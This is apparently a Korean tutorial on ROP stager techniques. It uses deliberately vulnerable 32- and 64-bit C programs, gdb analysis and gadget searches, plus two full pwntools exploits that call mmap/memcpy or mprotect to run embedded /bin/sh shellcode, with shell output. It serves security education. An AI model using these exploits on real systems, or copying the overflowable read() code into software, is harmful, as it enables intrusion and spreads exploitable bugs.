Excuse the ads! We need some help to keep our site up.

List

ROP(Return Oriented Programming) - mmap, mprotect

  • ROP를 이용하여 메모리 영역을 할당(mmap)하거나 할당된 메모리 영역의 권한을 변경(mprotect)하는 방법에 대해 설명하겠습니다.
    • 이외에도 ROP를 이용하여 공격자가 원하는 다양한 코드를 작성할 수 있습니다.
  • 일부에서는 mmap(), mprotect()를 이용하여 메모리를 다루는 것을 ROP Stager라고 표기하고 있습니다.

mmap - 32bit(feat. POPAD, PUSHAD)

Example code

rop.c
//gcc -m32 -fno-stack-protector -o rop rop.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x0804854b : vuln 함수 코드 첫부분

    • 0x08048587 : read() 함수 호출 전

Break point
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x0804854b <+0>:	push   ebp
   0x0804854c <+1>:	mov    ebp,esp
   0x0804854e <+3>:	sub    esp,0x48
   0x08048551 <+6>:	sub    esp,0x8
   0x08048554 <+9>:	push   0x8048650
   0x08048559 <+14>:	push   0xffffffff
   0x0804855b <+16>:	call   0x8048430 <dlsym@plt>
   0x08048560 <+21>:	add    esp,0x10
   0x08048563 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048566 <+27>:	sub    esp,0x8
   0x08048569 <+30>:	push   DWORD PTR [ebp-0xc]
   0x0804856c <+33>:	push   0x8048657
   0x08048571 <+38>:	call   0x8048400 <printf@plt>
   0x08048576 <+43>:	add    esp,0x10
   0x08048579 <+46>:	sub    esp,0x4
   0x0804857c <+49>:	push   0x100
   0x08048581 <+54>:	lea    eax,[ebp-0x3e]
   0x08048584 <+57>:	push   eax
   0x08048585 <+58>:	push   0x0
   0x08048587 <+60>:	call   0x80483f0 <read@plt>
   0x0804858c <+65>:	add    esp,0x10
   0x0804858f <+68>:	nop
   0x08048590 <+69>:	leave  
   0x08048591 <+70>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804854b
Breakpoint 1 at 0x804854b
gdb-peda$ b *0x08048587
Breakpoint 2 at 0x8048587
gdb-peda$ 
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0xffffd5cc) - buf 변수의 시작 주소 (0xffffd58a) = 66

    • 즉, 66개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROPStager/mmap/rop 
Hello ROP

Breakpoint 1, 0x0804854b in vuln ()
gdb-peda$ i r esp
esp            0xffffd5cc	0xffffd5cc
gdb-peda$ x/wx 0xffffd5cc
0xffffd5cc:	0x080485bc
gdb-peda$ c
Continuing.
Printf() address : 0xf7e4b020
Breakpoint 2, 0x08048587 in vuln ()
gdb-peda$ i r esp
esp            0xffffd570	0xffffd570
gdb-peda$ x/3wx 0xffffd570
0xffffd570:	0x00000000	0xffffd58a	0x00000100
gdb-peda$ p/d 0xffffd5cc - 0xffffd58a
$1 = 66
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
  • mmap() 함수를 이용하여 RWX 권한을 가지는 메모리 영역 생성
  • memcpy() 함수를 이용하여 shellcode를 mmap() 함수로 생성한 영역에 복사
  • 이를 코드로 표현하면 다음과 같습니다.
mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0)
memcpy(0x20000000,'address of shellcode',len(shellcode))

memcpy()

  • Exploit code에서 사용할 Libc의 memcpy() 함수는 Memory의 값을 복사하지 못합니다.
    • Libc의 memcpy() 함수는 CPU가 지원하는 스트리밍 SIMD 확장(Streaming SIMD Extensions, SSE)에 맞는 함수의 주소값을 리턴합니다.

      • 스트리밍 SIMD 확장(Streaming SIMD Extensions, SSE) 종료 : SSE, SSE2, SSSE3, ...

    • 즉, Libc의 memcpy() 함수를 호출하면 Memory 값을 복사하는 함수의 주소는 EAX 레지스터에 저장됩니다.ㅇ
disassemble memcpy
gdb-peda$ disassemble memcpy 
Dump of assembler code for function memcpy:
   0xf7629860 <+0>:	call   0xf76d028d
   0xf7629865 <+5>:	add    edx,0x13979b
   0xf762986b <+11>:	mov    ecx,DWORD PTR [edx-0xdc]
   0xf7629871 <+17>:	lea    eax,[edx-0x139730]
   0xf7629877 <+23>:	test   DWORD PTR [ecx+0x68],0x4000000
   0xf762987e <+30>:	je     0xf76298b3 <memcpy+83>
   0xf7629880 <+32>:	lea    eax,[edx-0x8bc10]
   0xf7629886 <+38>:	test   DWORD PTR [ecx+0x94],0x10
   0xf7629890 <+48>:	jne    0xf76298b3 <memcpy+83>
   0xf7629892 <+50>:	test   DWORD PTR [ecx+0x64],0x200
   0xf7629899 <+57>:	je     0xf76298b3 <memcpy+83>
   0xf762989b <+59>:	lea    eax,[edx-0x8ae20]
   0xf76298a1 <+65>:	test   DWORD PTR [ecx+0x94],0x1
   0xf76298ab <+75>:	je     0xf76298b3 <memcpy+83>
   0xf76298ad <+77>:	lea    eax,[edx-0x84be0]
   0xf76298b3 <+83>:	ret    
End of assembler dump.
gdb-peda$

POPAD, PUSHAD

  • 테스트 환경이 x86이기 때문에 POPAD, PUSHAD 명령어를 이용하여 ROP 코드를 작성하겠습니다.
  • POPAD, PUSHAD명령어는 다음과 같은 동작을 합니다.
InstructionDescription

POPAD

  • 스택에 존재하는 값을 EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI 레지스터에 저장합니다.

  • PUSHAD 명령어로 스택에 보관해 놓은 레지스터 정보를 다시 이용할 때 사용한다.

PUSHAD

  • EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI 순으로 레지스터의 값을 스택에 저장합니다.
  • 레지스터들의 값을 보관해야 할 때 사용한다.

ROP code

  • ROP의 구조는 다음과 같습니다.
    • mmap() 함수를 이용하여 새로운 메모리 영역을 할당받습니다.
    • POPAD Gadget에 의해 memcpy() 함수의 주소가 저장된 영역으로 이동합니다.
    • XCHG EAX,EDI Gadget에 의해 리턴받은 memcpy() 함수의 주소를 EDI 레지스터에 저장합니다.
    • POP ESI Gadget에 의해 memcpy()함수 호출 후 이동할 return address를 ESI 레지스터에 저장합니다.
    • POP EBP Gadget에 의해 1번째 인자 값을 EBP 레지스터에 저장합니다.
    • POP EBX Gadget에 의해 3번째 인자 값을 EBX 레지스터에 저장합니다.
    • PUSHAD Gadget에 의해 레지스터에 저장된 값들을 Stack 에 저장하고 0x1028 영역(0x1048 - (0x4 * 레지스터 개수(8))으로 이동합니다.
      • 2번째 인자 값은 ESP 레지스터에 저장되어 있기 때문에 별도의 조작이 필요하지 않습니다.
    • 0x1028 영역에서 memcpy() 함수로 인해 Stack에 저장된 shellcode가 mmap()에 의해 생성된 메모리 영역으로 복사됩니다.
    • memcpy() 함수가 종료되면 mmap()에 의해 생성된 메모리 영역으로 이동하여 shellcode를 실행합니다.
      • 해당 영역은 RWX 권한이 설정되어 있기 때문에 Shellcode 실행이 가능합니다.
ROP Structure

Before running PUSHAD

After running PUSHAD

Stack Address

Value

Explanation

Value

Explanation

0x1000mmap() function address of libc
mmap() function address of libc
0x1004Address of gadgets(popad)0x1024 영역으로 이동Address of gadgets(popad)

0x1008

First argument value
First argument value
0x100CSecond argument value
Second argument value
0x1010Third argument value
Third argument value
0x1014Fourth argument value
Fourth argument value
0x1018Fifth argument value
Fifth argument value
0x101C'AAAA'
'AAAA'
0x1020'AAAA'
'AAAA'
0x1024memcpy() function address of libc
memcpy() function address of libc
0x1028Address of gadgets(xchg eax, edi)
memcpy() function address of libcESP : 0x1028
0x102CAddress of gadgets(pop esi)
Address of new memory area
0x1030

Address of new memory area


Address of new memory area
0x1034Address of gadgets(pop ebp)
Address of shellcode
0x1038Address of new memory area
Length of shellcode
0x103CAddress of gadgets(pop ebx)


0x1040Length of shellcode


0x1044Address of gadgets(pushad)0x1028 영역으로 이동

0x1048

shellcode




Find gadget

  • 다음과 같이 "/lib32/libc-2.23.so"에서 필요한 Gadget을 찾을 수 있습니다.
./rp-lin-x64 -f /lib32/libc-2.23.so -r 2| grep "xchg eax, edi"
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 2| grep "xchg eax, edi"
...
0x0007633e: xchg eax, edi ; mov esi, edx ; ret  ;  (1 found)
...
lazenca0x0@ubuntu:~/Exploit/ROPStager$
./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "popad"
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "popad"
...
0x00168dfe: popad  ; ret  ;  (1 found)
0x0017ac05: popad  ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROPStager$ 
./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "pushad"
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "pushad"
...
0x0000979c: pushad  ; ret  ;  (1 found)
0x0011cf5d: pushad  ; ret  ;  (1 found)
0x00161f60: pushad  ; ret  ;  (1 found)
0x001656b0: pushad  ; ret  ;  (1 found)
0x001685f8: pushad  ; ret  ;  (1 found)
0x00179a5f: pushad  ; ret  ;  (1 found)
0x0017cd48: pushad  ; ret  ;  (1 found)
0x00188a91: pushad  ; ret  ;  (1 found)
0x0018a8ae: pushad  ; ret  ;  (1 found)
0x00194f2e: pushad  ; ret  ;  (1 found)
0x0019b140: pushad  ; ret  ;  (1 found)
...
lazenca0x0@ubuntu:~/Exploit/ROPStager$

Exploit code

mmap.py
from pwn import *
from struct import *

#context.log_level = 'debug'

#32bit OS
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#64bit OS
#libc = ELF("/lib32/libc-2.23.so")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

binary = ELF('./rop')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

new_memory = 0x20000000

#Libc
libc_base = stackAddr - 0x49020
libc_mmap = libc_base + libc.symbols['mmap']
libc_memcpy = libc_base + libc.symbols['memcpy']

#ROP Gadget
libc_popad = libc_base + 0x00168dfe
libc_xchg_eax_edi = libc_base + 0x0007633e
libc_pop_esi = libc_base + 0x00017828
libc_pop_ebp = libc_base + 0x000179a7
libc_pop_ebx = libc_base + 0x00018395
libc_pushad = libc_base + 0x0000979c

log.info('Libc base : '+hex(libc_base))
log.info('mmap addr : '+hex(libc_mmap))
log.info('memcpy addr : '+hex(libc_memcpy))

payload = "A"*66

#mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0)
payload += p32(libc_mmap)
payload += p32(libc_popad)
payload += p32(new_memory)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(0x22)
payload += p32(0xffffffff)
payload += p32(0)
payload += 'AAAA' * 2


#memcpy(new_memory,'address of shellcode',(len(shellcode))
payload += p32(libc_memcpy)
payload += p32(libc_xchg_eax_edi)
payload += p32(libc_pop_esi)
payload += p32(new_memory)
payload += p32(libc_pop_ebp)
payload += p32(new_memory)
payload += p32(libc_pop_ebx)
payload += p32(len(shellcode))
payload += p32(libc_pushad)
payload += shellcode

p.send(payload)
p.interactive()
python rop.py
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ python mmap.py 
[*] '/lib32/libc-2.23.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/lazenca0x0/Exploit/ROPStager/mmap/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/lazenca0x0/Exploit/ROPStager/mmap/rop': pid 43618
[*] Libc base : 0xf75f5000
[*] mmap addr : 0xf76d6060
[*] memcpy addr : 0xf766b860
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

mprotect- 64bit

Example code

rop64.c
//gcc -fno-stack-protector -o rop rop.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    printf("buf[50] address : %p\n",buf);
    read(0, buf, 256);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x4006c6: vuln 함수 코드 첫부분

    • 0x400720: read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ gdb -q ./rop64
Reading symbols from ./rop64...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x00000000004006c6 <+0>:	push   rbp
   0x00000000004006c7 <+1>:	mov    rbp,rsp
   0x00000000004006ca <+4>:	sub    rsp,0x40
   0x00000000004006ce <+8>:	mov    esi,0x4007d4
   0x00000000004006d3 <+13>:	mov    rdi,0xffffffffffffffff
   0x00000000004006da <+20>:	call   0x4005b0 <dlsym@plt>
   0x00000000004006df <+25>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006e3 <+29>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006e7 <+33>:	mov    rsi,rax
   0x00000000004006ea <+36>:	mov    edi,0x4007db
   0x00000000004006ef <+41>:	mov    eax,0x0
   0x00000000004006f4 <+46>:	call   0x400580 <printf@plt>
   0x00000000004006f9 <+51>:	lea    rax,[rbp-0x40]
   0x00000000004006fd <+55>:	mov    rsi,rax
   0x0000000000400700 <+58>:	mov    edi,0x4007f2
   0x0000000000400705 <+63>:	mov    eax,0x0
   0x000000000040070a <+68>:	call   0x400580 <printf@plt>
   0x000000000040070f <+73>:	lea    rax,[rbp-0x40]
   0x0000000000400713 <+77>:	mov    edx,0x100
   0x0000000000400718 <+82>:	mov    rsi,rax
   0x000000000040071b <+85>:	mov    edi,0x0
   0x0000000000400720 <+90>:	call   0x400590 <read@plt>
   0x0000000000400725 <+95>:	nop
   0x0000000000400726 <+96>:	leave  
   0x0000000000400727 <+97>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006c6
Breakpoint 1 at 0x4006c6
gdb-peda$ b *0x0000000000400720
Breakpoint 2 at 0x400720
gdb-peda$
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72

    • 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROPStager/mprotect/rop64
Hello ROP

Breakpoint 1, 0x00000000004006c6 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488	0x7fffffffe488
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800
buf[50] address : 0x7fffffffe440

Breakpoint 2, 0x0000000000400720 in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
  • mprotect() 함수를 이용하여 Shellcode가 저장된 메모리 영역의 권한을 RWX로 변경

    • mprotect()는 [addr, addr+len-1] 구간 주소 범위를 일부라도 담고 있는 호출 프로세스의 메모리 페이지들에 대한 접근 보호를 변경한다. 

    • addr의 값은 페이지 경계에 맞게 정렬되어 있어야 한다.

      • Page의 크기는 4096 입니다.

    • Ex)

      • 사용 불가능 : 0x7ffd0e0a4470

      • 사용 가능 : 0x7ffd0e0a4000
  • 이를 코드로 표현하면 다음과 같습니다.
mprotect(address of shellcode,0x2000,0x7)
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • libc offset
    • mprotect
  • 가젯의 위치
    • pop rdi,ret
    • pop rsi,ret 
    • pop rdx,ret 

Find gadget

./rp-lin-x64 -f ./rop -r 1| grep "pop rdi"
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f ./rop64 -r 1| grep "pop rdi"
0x004007b3: pop rdi ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ 
./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2| grep "pop rdx"
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2| grep "pop rdx"
...
0x001150a3: pop rdx ; pop r10 ; ret  ;  (1 found)
0x001150a4: pop rdx ; pop r10 ; ret  ;  (1 found)
0x00101ffc: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001194ab: pop rdx ; pop rbx ; ret  ;  (1 found)
0x0011d174: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001435b2: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001435fa: pop rdx ; pop rbx ; ret  ;  (1 found)
0x00143824: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001150c9: pop rdx ; pop rsi ; ret  ;  (1 found)
0x00001b92: pop rdx ; ret  ;  (1 found)
0x00001b96: pop rdx ; ret  ;  (1 found)
0x00001b9a: pop rdx ; ret  ;  (1 found)
0x00001b9e: pop rdx ; ret  ;  (1 found)
0x001150a6: pop rdx ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ 

Exploit code

mprotect.py
from pwn import *
from struct import *
 
#context.log_level = 'debug'

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libcbase_printf_offset = libc.symbols['printf']
libcbase_mprotect_offset = libc.symbols['mprotect']
 
pop_rdi_ret = 0x004007b3 
pop_rdx_ret_offset = 0x1150c9
 
r = process('./rop64')
 
r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset 

r.recvuntil('buf[50] address : ')
stack = int(r.recvuntil('\n'),16)
back = str(hex(stack))
shellArea = int(back[0:11] + '000',16)

log.info(back[0:11])
log.info(hex(shellArea))
log.info("libcbase : " + hex(libcbase))
log.info("stack : " + hex(stack))
log.info("mprotect() : " + hex(libcbase + libcbase_mprotect_offset))

payload = shellcode 
payload += "A" * (72 - len(shellcode))


#mprotect(address of shellcode,0x2000,0x7)
payload += p64(pop_rdi_ret)
payload += p64(shellArea)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0x7)
payload += p64(0x2000)
payload += p64(libcbase + libcbase_mprotect_offset)
payload += p64(stack)
 
r.send(payload)
r.interactive()
python rop.py
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ python mprotect.py
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './rop64': pid 43561
[*] 0x7ffd0e0a4
[*] 0x7ffd0e0a4000
[*] libcbase : 0x7fe88a73e000
[*] stack : 0x7ffd0e0a4470
[*] mprotect() : 0x7fe88a83f770
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

References

Comments